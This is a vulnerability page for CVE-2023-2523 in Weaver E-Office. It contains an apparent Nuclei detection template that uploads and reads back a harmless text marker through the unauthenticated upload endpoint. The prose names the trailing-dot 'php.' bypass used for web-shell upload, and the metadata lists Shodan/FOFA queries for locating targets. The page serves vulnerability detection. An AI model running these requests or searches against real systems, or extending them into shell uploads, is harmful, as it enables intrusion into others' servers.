CVE-2023-2523: Weaver E-Office - Unrestricted File Upload

2026-11-16 PoC Public

Description

Weaver E-Office 9.5 allows unauthenticated unrestricted file upload via App/Ajax/ajax.php?action=mobile_upload_save. The upload_quwan multipart field is not adequately validated; public proofs of concept upload a PHP file whose name ends with a trailing dot (filename="1.php.") to bypass extension checks and then request the saved attachment to achieve remote code execution. This template uploads only a harmless .txt file containing a unique marker, reads it back, and does not upload or execute PHP. No vendor-published patched version was identified in the CVE record; operators should restrict the endpoint and apply any E-Office update provided by Weaver (Fanwei).

Details

CVE
CVE-2023-2523 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2023-2523

info:
  name: Weaver E-Office - Unrestricted File Upload
  author: ritikchaddha
  severity: high
  description: |
    Weaver E-Office 9.5 allows unauthenticated unrestricted file upload via App/Ajax/ajax.php?action=mobile_upload_save. The upload_quwan multipart field is not adequately validated; public proofs of concept upload a PHP file whose name ends with a trailing dot (filename="1.php.") to bypass extension checks and then request the saved attachment to achieve remote code execution. This template uploads only a harmless .txt file containing a unique marker, reads it back, and does not upload or execute PHP. No vendor-published patched version was identified in the CVE record; operators should restrict the endpoint and apply any E-Office update provided by Weaver (Fanwei).
  impact: |
    An unauthenticated attacker can upload a web shell and execute arbitrary code in the context of the E-Office application.
  remediation: |
    Apply the latest Weaver / Fanwei E-Office security update. Until patched, block unauthenticated access to /E-mobile/App/Ajax/ajax.php and /App/Ajax/ajax.php (action=mobile_upload_save), and review the attachment directory for unexpected PHP files.
  reference:
    - https://github.com/werwolfz/cve-2023-2523-and-cve-2023-2648
    - https://vuldb.com/?id.228889
    - https://blog.csdn.net/qq_41904294/article/details/130832416
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2523
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2023-2523
    cwe-id: CWE-434
    epss-score: 0.32895
    epss-percentile: 0.98382
    cpe: cpe:2.3:a:e-office:e-office:9.5:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: weaver
    product: e-office
    shodan-query:
      - http.html:"eoffice"
      - http.html:"weaver"
    fofa-query: app="泛微-EOffice"
  tags: cve,cve2023,weaver,eoffice,fanwei,fileupload,intrusive,vkev

variables:
  filename: "{{rand_base(8)}}"
  marker: "CVE-2023-2523"

http:
  - raw:
      - |
        POST /App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.txt"
        Content-Type: text/plain

        {{marker}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

      - |
        GET /attachment/{{attachid}}/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "CVE-2023-2523")'
        condition: and

    extractors:
      - type: regex
        part: body
        name: attachid
        group: 1
        regex:
          - 'attachment[/\\]+(\d+)'
        internal: true
# digest: 4a0a00473045022100b3b5d33f014c5287cf471c63b513b87cb740bd28082991732520949e390a88b702204be2923dc08f2bf031e02052395b6693f3d308d1aabeefa16720c65188b54ea0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life